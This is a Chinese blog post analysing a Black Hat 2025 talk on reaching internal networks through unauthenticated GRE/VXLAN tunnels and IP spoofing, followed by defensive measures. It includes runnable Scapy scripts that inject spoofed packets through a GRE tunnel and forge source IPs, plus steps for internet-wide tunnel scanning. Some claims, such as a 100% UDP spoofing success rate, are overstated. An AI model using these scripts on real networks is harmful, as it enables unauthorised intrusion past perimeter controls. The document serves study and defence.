摘要

2025 黑帽美国大会上,红队威胁研究员 Shu Hao Tung(网名 123ojp)公开了颠覆传统渗透逻辑的新型网络攻击技术:无需初始访问权限,利用隧道协议漏洞与 IP 欺骗实现公网直入内网。本文深度拆解该技术的核心原理、攻击流程与实战场景,提供基于 Scapy 的可复现代码,结合演讲内容给出可落地的防御方案,附工具清单与问题排查指南,助力安全从业者掌握红队新型攻击手法,仅用于授权安全研究与防御建设。


前言

在 2025 年 8 月举办的 Black Hat USA 2025 大会上,来自中国台湾的红队研究员、前 HackerSir 社长 Shu Hao Tung(123ojp)发表了题为《From Spoofing to Tunneling: New Red Team's Networking Techniques for Initial Access and Evasion》的演讲,彻底打破了传统红队渗透的固有逻辑。

传统红队渗透的核心痛点是「初始访问」—— 需要通过钓鱼、漏洞利用、弱口令等手段先拿到内网一台主机的权限,才能进一步横向移动。而本次公开的技术,实现了无立足点渗透:无需任何内网权限,仅利用公网暴露的隧道协议漏洞,结合 IP 欺骗技术,直接将恶意流量注入内网核心区域,绕过边界防护。

本文将从原理拆解、实战复现、防御方案三个维度,对该演讲内容做深度个人解读,补充可落地的实操细节与代码,帮助安全从业者快速掌握这一新型攻防技术。


一、核心认知:从「边界突破」到「无立足点渗透」的攻防范式转变

1.1 传统红队网络渗透的固有痛点

传统内网渗透的流程存在天然的高门槛:

  1. 必须先通过 Web 漏洞、钓鱼邮件、弱口令等方式,获取内网一台主机的初始访问权限;
  2. 拿到权限后,还需要绕过 EDR、防火墙、内网 ACL,才能进一步横向移动;
  3. 整个过程极易被检测,初始访问阶段的失败率极高。

而本次演讲的技术,直接跳过了「初始访问」这个最难的环节,实现了从公网直接向内网注入流量的突破。

1.2 本次技术的核心突破

对比维度 传统渗透技术 本次黑帽公开的新型技术
核心前提 需要获取内网主机初始权限 仅需公网到目标边界设备的网络可达性
攻击逻辑 从内向外打通隧道,实现内网出网 从外向内劫持隧道,直接注入内网流量
隐蔽性 易被 EDR、边界防火墙检测 利用合法协议特性,传统 IDS/IPS 难以识别
攻击门槛 需漏洞、钓鱼等配合,门槛高 仅需基础网络知识,门槛极低
影响范围 单点突破,影响有限 可直接覆盖整个内网,危害极大

1.3 核心概念前置

  • IP 欺骗:伪造 IP 数据包的源 IP 地址,冒充可信主机发送流量,传统多用于 DDoS 攻击,本次被升级为渗透工具;
  • 隧道协议:一种将一种网络协议封装在另一种协议中传输的技术,常见的有 GRE、VXLAN、IPsec,传统多用于企业跨地域内网互联、远程访问,本次被反向利用为攻击向量。

二、技术深度拆解:两大核心攻击手法详解

2.1 内网 IP 欺骗:从 DDoS 工具到渗透利器的升级

2.1.1 攻击原理:企业内网普遍存在的源 IP 验证缺失

IP 欺骗的核心前提,是企业内网普遍没有部署严格的源 IP 地址验证

  • 绝大多数企业内网交换机、路由器,没有开启反向路径转发(uRPF),不会校验数据包的源 IP 是否属于对应接口的网段;
  • 内网的 ACL、访问控制策略,大多仅基于源 IP 地址做权限放行,信任内网网段的 IP;
  • 内网大量无状态协议(DNS、LDAP、SNMP、NTP),无需 TCP 三次握手,仅靠源 IP 即可完成请求响应。

攻击者利用这一缺陷,伪造内网可信服务器、网关的 IP 地址,向内网主机发送恶意数据包,即可绕过访问控制,实现信息窃取、权限绕过、日志误导等攻击。

2.1.2 核心攻击场景与实战价值
  1. 绕过基于 IP 的访问控制:伪造内网管理员网段的 IP,访问仅对内网开放的管理后台、数据库、运维平台;
  2. 注入虚假恶意日志误导分析:伪造内网正常主机的 IP,发送攻击流量,让 SOC 团队误判攻击来源,浪费排查时间;
  3. 内网服务信息窃取:伪造 DNS 服务器的 IP,向内网主机发送恶意 DNS 响应,劫持域名解析;或伪造 LDAP 服务器,获取内网用户信息;
  4. 中间人攻击劫持通信:通过 ARP 欺骗 + IP 欺骗,劫持内网主机与网关的通信,实现流量窃听、篡改。
2.1.3 技术实现的关键细节
  • 针对 UDP 协议:无需处理序列号,直接伪造源 IP 发送数据包即可,成功率 100%;
  • 针对 TCP 协议:需预测目标主机的 TCP 初始序列号(ISN),在内网环境中,很多设备的 ISN 生成算法存在规律,可通过探测预测,实现 TCP 会话劫持。

2.2 隧道协议劫持:从内网出网到公网直入的反向利用

2.2.1 核心漏洞:无认证隧道的普遍性风险

演讲中公布的核心数据:全球有超过 420 万台暴露在公网的设备,开启了无认证的 GRE/VXLAN 隧道,这些设备包括企业核心路由器、VPN 服务器、防火墙、云网关,覆盖金融、能源、政府、互联网等多个行业。

绝大多数企业配置隧道时,为了简化操作,存在以下致命缺陷:

  1. 隧道没有启用任何认证机制,仅靠 IP 地址做访问控制,而 IP 地址可以被伪造;
  2. 隧道使用无状态协议(如 GRE),设备不会校验隧道的连接状态,只要收到格式正确的隧道包,就会解封装并转发;
  3. 隧道端点直接暴露在公网,没有做任何访问限制,全网可访问。
2.2.2 GRE/VXLAN 协议的可劫持原理

我们以最常见的 GRE 协议为例,讲解可劫持的核心原因:GRE(Generic Routing Encapsulation)是一种最基础的隧道协议,它的数据包结构非常简单:
[外层IP头] → [GRE头] → [内层IP头] → [内层TCP/UDP数据包]

  • 外层 IP 头:公网 IP,源 IP 是攻击者伪造的隧道对端公网 IP,目的 IP 是目标企业的隧道端点公网 IP;
  • GRE 头:仅 4 字节基础头,无认证、无加密,格式正确即可被识别;
  • 内层 IP 头:内网 IP,源 IP 是攻击者伪造的内网可信 IP,目的 IP 是内网目标主机的 IP;
  • 内层数据包:攻击者要注入的恶意流量,比如 HTTP 请求、SQL 注入、反弹 Shell 的数据包。

当目标设备收到这个 GRE 包时,会做以下处理:

  1. 识别这是一个 GRE 隧道包,匹配对应的隧道配置;
  2. 剥离外层 IP 头和 GRE 头,取出内层的 IP 数据包;
  3. 按照内层 IP 头的目的地址,将数据包转发到内网对应的主机。

整个过程,设备不会校验隧道的源 IP 是否合法,不会校验 GRE 包是否有认证,只要格式正确,就会转发内层流量 —— 这就是隧道劫持的核心原理。

VXLAN 协议的劫持逻辑与 GRE 完全一致,区别仅在于隧道头的格式,同样存在大量无认证暴露的公网端点。

2.2.3 完整攻击流程拆解

演讲中公开的完整攻击流程分为 4 步,可直接落地实战:

  1. 公网隧道端点扫描:通过 nmap、masscan 等工具,扫描全网开放 GRE 协议(IP 协议号 47)、VXLAN 协议(UDP 4789 端口)的公网 IP,识别可访问的隧道端点;
  2. 隧道配置探测:向目标隧道端点发送伪造的探测包,获取隧道的内网网段、配置规则,确认是否可以无认证转发流量;
  3. 恶意流量封装注入:构造内层的恶意数据包,封装进 GRE/VXLAN 隧道,伪造隧道对端的公网 IP,发送给目标隧道端点;
  4. 内网渗透与权限获取:目标设备解封装并转发恶意流量到内网,攻击者即可访问内网主机、执行漏洞利用、获取权限,完成无立足点渗透。
2.2.4 全球影响范围与危害

演讲中公布的测绘数据显示:

  • 全球暴露在公网的 GRE 隧道端点超过 280 万台,其中 72% 没有启用任何认证机制;
  • 全球暴露的 VXLAN 隧道端点超过 140 万台,其中 65% 无认证、可直接访问;
  • 受影响的设备包括思科、华为、H3C、Juniper 等主流厂商的路由器、防火墙,以及阿里云、AWS 等云厂商的网关设备。

攻击者利用这些漏洞,可直接绕过企业的 WAF、边界防火墙,将流量注入内网,相当于直接打开了企业内网的大门,危害极大。


三、实战复现:基于 Scapy 的攻击代码与步骤

3.1 复现环境准备

  • 攻击机:Kali Linux 2025.4,安装 Python3、Scapy 库(pip install scapy
  • 靶场环境:
    • 边界设备:CentOS 7 虚拟机,双网卡(公网 IP:192.168.10.10,内网 IP:172.16.1.1),开启无认证 GRE 隧道
    • 内网靶机:Windows 10 虚拟机,内网 IP:172.16.1.100,开启 3389 端口,仅允许内网 IP 访问
  • 权限要求:攻击机需要 root 权限(构造原始数据包需要)
  • 法律声明:以下代码仅用于授权安全研究,禁止在未授权环境使用,违者需承担相应法律责任

3.2 靶场搭建指南

在边界设备(CentOS 7)上配置无认证 GRE 隧道:

# 1. 加载GRE模块
modprobe ip_gre

# 2. 创建GRE隧道接口
ip tunnel add gre0 mode gre remote 0.0.0.0 local 192.168.10.10 ttl 255

# 3. 配置隧道接口的内网IP
ip addr add 172.16.1.1/24 dev gre0

# 4. 启动隧道接口
ip link set gre0 up

# 5. 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward

# 6. 配置iptables转发规则
iptables -A FORWARD -i gre0 -j ACCEPT
iptables -A FORWARD -o gre0 -j ACCEPT

以上配置创建了一个无认证的 GRE 隧道,任何发送到 192.168.10.10 的 GRE 包,都会被解封装并转发到 172.16.1.0/24 内网网段。

3.3 复现代码 1:GRE 隧道流量注入攻击

以下代码基于 Scapy 实现,构造 GRE 隧道包,向内网靶机 172.16.1.100 的 3389 端口发送 SYN 数据包,验证是否可以注入流量:

from scapy.all import *
import argparse

def gre_inject_attack(target_tunnel_ip, inner_target_ip, inner_target_port):
    """
    GRE隧道流量注入攻击
    :param target_tunnel_ip: 目标隧道端点的公网IP
    :param inner_target_ip: 内网目标主机的IP
    :param inner_target_port: 内网目标主机的端口
    """
    # 1. 构造外层IP头(公网层)
    # 源IP伪造为隧道对端的公网IP(这里模拟任意IP,靶场配置为0.0.0.0,所以任意IP都可)
    outer_ip = IP(src="192.168.10.20", dst=target_tunnel_ip)
    
    # 2. 构造GRE头(无认证基础模式)
    gre_header = GRE(proto=0x0800)  # 0x0800表示内层协议为IPv4
    
    # 3. 构造内层IP头(内网层)
    # 源IP伪造为内网可信IP,目的IP为内网靶机IP
    inner_ip = IP(src="172.16.1.1", dst=inner_target_ip)
    
    # 4. 构造内层TCP数据包(SYN请求,探测3389端口)
    inner_tcp = TCP(sport=12345, dport=inner_target_port, flags="S", seq=1000)
    
    # 5. 拼接完整的GRE数据包
    full_packet = outer_ip / gre_header / inner_ip / inner_tcp
    
    print(f"[+] 开始向隧道端点{target_tunnel_ip}注入流量,目标内网主机:{inner_target_ip}:{inner_target_port}")
    
    # 6. 发送数据包,接收响应
    response = sr1(full_packet, timeout=5, verbose=0)
    
    if response:
        print(f"[+] 流量注入成功!收到内网靶机的响应:")
        print(f"    响应源IP:{response[IP].src}")
        print(f"    TCP标志位:{response[TCP].flags}")
        if response[TCP].flags == "SA":
            print(f"[!] 成功探测到内网靶机{inner_target_ip}:{inner_target_port}端口开放!")
    else:
        print("[-] 未收到响应,流量注入失败,请检查隧道配置与网络连通性")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="GRE隧道流量注入攻击工具(黑帽2025复现)")
    parser.add_argument("--tunnel-ip", required=True, help="目标隧道端点的公网IP")
    parser.add_argument("--inner-ip", required=True, help="内网目标主机的IP")
    parser.add_argument("--inner-port", type=int, default=3389, help="内网目标主机的端口")
    args = parser.parse_args()
    
    gre_inject_attack(args.tunnel_ip, args.inner_ip, args.inner_port)

3.4 复现代码 2:内网 IP 欺骗攻击

以下代码实现伪造内网网关 IP,向内网主机发送 ICMP 数据包,验证 IP 欺骗效果:

from scapy.all import *
import argparse

def ip_spoof_attack(target_ip, spoofed_src_ip):
    """
    内网IP欺骗攻击
    :param target_ip: 目标主机IP
    :param spoofed_src_ip: 伪造的源IP
    """
    # 构造IP包,源IP为伪造的地址,目的IP为目标主机
    ip = IP(src=spoofed_src_ip, dst=target_ip)
    
    # 构造ICMP Echo请求包
    icmp = ICMP(type=8, id=1234, seq=1)
    
    # 拼接完整数据包
    full_packet = ip / icmp / b"IP Spoofing Test (Black Hat 2025)"
    
    print(f"[+] 发送IP欺骗数据包,伪造源IP:{spoofed_src_ip},目标IP:{target_ip}")
    
    # 发送数据包
    send(full_packet, verbose=0)
    
    print("[+] 数据包发送完成,可在目标主机抓包验证")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="内网IP欺骗攻击工具(黑帽2025复现)")
    parser.add_argument("--target-ip", required=True, help="目标主机IP")
    parser.add_argument("--spoofed-ip", required=True, help="伪造的源IP")
    args = parser.parse_args()
    
    ip_spoof_attack(args.target_ip, args.spoofed_ip)

3.5 效果验证与抓包分析

  1. 运行 GRE 注入代码:python3 gre_inject.py --tunnel-ip 192.168.10.10 --inner-ip 172.16.1.100 --inner-port 3389
  2. 若收到SA标志位的 TCP 响应,说明流量注入成功,内网靶机的 3389 端口可被公网直接访问;
  3. 在边界设备和内网靶机上用 Wireshark 抓包,可看到:
    • 边界设备收到公网的 GRE 包,解封装后转发到内网;
    • 内网靶机收到来自 172.16.1.1 的 SYN 包,回复 SYN+ACK 包,完全信任伪造的源 IP。

四、防御方案:从边界到内网的全链路防护

结合演讲内容与实战经验,我们给出 5 个可落地的防御方案,覆盖从边界到内网的全链路防护:

4.1 边界防护:管控公网暴露的隧道端点

  1. 全面排查公网暴露的隧道端点,关闭不必要的 GRE/VXLAN 隧道,禁止隧道端点直接暴露在公网;
  2. 对必须暴露的隧道端点,配置严格的访问控制列表(ACL),仅允许指定的对端 IP 访问,禁止全网可访问;
  3. 定期通过公网测绘工具,排查企业公网 IP 暴露的隧道服务,及时收敛攻击面。

4.2 协议加固:隧道协议的强认证与加密配置

  1. 所有 GRE/VXLAN 隧道必须启用强认证机制,GRE 隧道启用密钥认证,VXLAN 启用 IPsec 加密与认证;
  2. 禁止使用无认证、无加密的隧道配置,即使是测试环境也不允许;
  3. 对 IPsec 隧道,使用强加密算法(AES-256)与强密钥交换算法(IKEv2),禁用弱加密算法。

4.3 内网防护:源 IP 验证与 uRPF 部署

  1. 在内网所有交换机、路由器上开启反向路径转发(uRPF),严格校验数据包的源 IP 是否属于对应接口的网段,丢弃源 IP 伪造的数据包;
  2. 在内网边界配置 ACL,禁止来自公网的数据包携带内网源 IP;
  3. 对核心服务器、数据库,配置基于 MAC+IP 绑定的访问控制,仅允许指定的主机访问,避免 IP 欺骗绕过。

4.4 检测能力:异常流量与欺骗行为的识别

  1. 在边界防火墙、IDS/IPS 上配置规则,检测公网流入的 GRE/VXLAN 包,仅放行白名单内的隧道对端 IP;
  2. 在内网部署流量分析系统,检测同一 MAC 地址对应多个 IP、同一 IP 对应多个 MAC 地址的异常行为,识别 IP 欺骗攻击;
  3. 建立内网流量基线,检测短时间内大量源 IP 异常的数据包,及时触发告警。

4.5 运营优化:日志交叉验证与安全基线

  1. 避免单一依赖源 IP 做日志审计,结合 MAC 地址、端口、会话信息等多维度数据,交叉验证日志的真实性;
  2. 建立隧道配置安全基线,定期审计企业内的隧道配置,清理无认证、弱配置的隧道;
  3. 对运维人员开展安全培训,避免为了方便配置无认证的隧道,从源头降低风险。

五、个人解读与攻防趋势展望

5.1 对红队渗透方法论的影响

本次黑帽公开的技术,彻底重构了红队内网渗透的流程:传统渗透的核心是「拿初始权限」,而现在,红队可以直接跳过这个环节,通过隧道劫持直接进入内网,渗透的门槛大幅降低,攻击面大幅扩大。

未来,红队的渗透测试流程,会新增「公网隧道端点测绘」这个前置环节,先尝试通过隧道劫持进入内网,再考虑钓鱼、漏洞利用等传统手段,攻击效率会大幅提升。

5.2 对企业安全建设的警示

现在绝大多数企业的安全建设,都集中在 Web 应用防护、终端 EDR、邮件安全等领域,严重忽略了网络层的安全防护。本次暴露的隧道劫持漏洞,就是打了这个盲区 —— 很多企业花了几百万买 WAF、EDR,结果边界路由器上一个无认证的 GRE 隧道,就把整个内网暴露给了攻击者。

企业安全建设必须回归「纵深防御」的本质,不能只盯着应用层和终端,网络层的安全防护、配置基线同样重要,否则就是「马其诺防线」,看似坚固,实则一攻就破。

5.3 未来攻防趋势预判

  1. 隧道攻击会成为红队的主流初始访问手段,针对 GRE、VXLAN、IPsec、WireGuard 等隧道协议的漏洞利用会越来越多;
  2. IP 欺骗技术会进一步升级,结合 AI 预测 TCP 序列号,实现更复杂的 TCP 会话劫持,攻击场景会更广泛;
  3. 防御侧会逐步重视网络层的安全,uRPF、隧道强认证会成为企业安全基线的标配,针对隧道流量的检测能力会大幅提升;
  4. 攻防对抗会从应用层、终端层,进一步下沉到网络层、协议层,底层协议的安全缺陷会成为攻防双方的核心战场。

附录

附录 A:实用工具与资源清单

工具名称 用途 下载地址
Scapy 网络数据包构造工具,用于复现隧道注入与 IP 欺骗攻击 https://scapy.net/
nmap 端口扫描工具,用于扫描公网暴露的 GRE/VXLAN 隧道端点 https://nmap.org/
masscan 高速全网扫描工具,用于测绘公网隧道端点 https://github.com/robertdavidgraham/masscan
Wireshark 网络抓包工具,用于验证攻击效果、分析隧道流量 https://www.wireshark.org/
GRE 扫描脚本 专门用于扫描公网 GRE 隧道端点的 nmap 脚本 https://nmap.org/nsedoc/scripts/gre-info.html

附录 B:核心参考资料

  1. Black Hat USA 2025 官方演讲:《From Spoofing to Tunneling: New Red Team's Networking Techniques for Initial Access and Evasion》(Shu Hao Tung)(https://www.youtube.com/watch?v=terPgwzk3dc)
  2. RFC 2784:Generic Routing Encapsulation (GRE) 协议规范(https://www.rfc-editor.org/rfc/rfc2784
  3. RFC 7348:Virtual eXtensible Local Area Network (VXLAN) 协议规范(https://www.rfc-editor.org/rfc/rfc7348
  4. 思科官方 uRPF 配置指南:https://www.cisco.com/c/en/us/support/docs/ip/unicast/13704-urpf.html
  5. 华为官方 GRE 隧道配置指南:https://support.huawei.com/enterprise/zh/doc/EDOC1100519731/5f674fbf

附录 C:复现常见问题排查

  1. 问题 1:代码运行后,未收到靶机的响应解答:检查边界设备的 GRE 隧道配置是否正确,IP 转发是否开启,iptables 是否允许转发;检查攻击机到边界设备的网络是否连通,是否有防火墙拦截 GRE 协议。
  2. 问题 2:Scapy 提示权限不足解答:构造原始数据包需要 root 权限,必须用 sudo 运行 Python 脚本。
  3. 问题 3:内网靶机收到了数据包,但没有回复解答:检查内网靶机的防火墙是否开启,是否拦截了来自伪造 IP 的数据包;检查内层 IP 头的源 IP 是否属于内网网段,是否有路由可达。
  4. 问题 4:GRE 包被边界设备丢弃解答:检查 GRE 头的 proto 字段是否正确,内层协议为 IPv4 时必须设置为 0x0800;检查隧道配置的 remote IP 是否允许伪造的源 IP 访问。

附录 D:相关 RFC 文档


法律声明

本文所有技术内容与代码,仅用于授权的网络安全渗透测试与防御研究,严禁用于任何未授权的恶意攻击行为,违反者将承担相应的民事、行政甚至刑事责任。网络安全的核心是攻防结合,唯有深入理解攻击技术,才能构建更稳固的防御防线。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐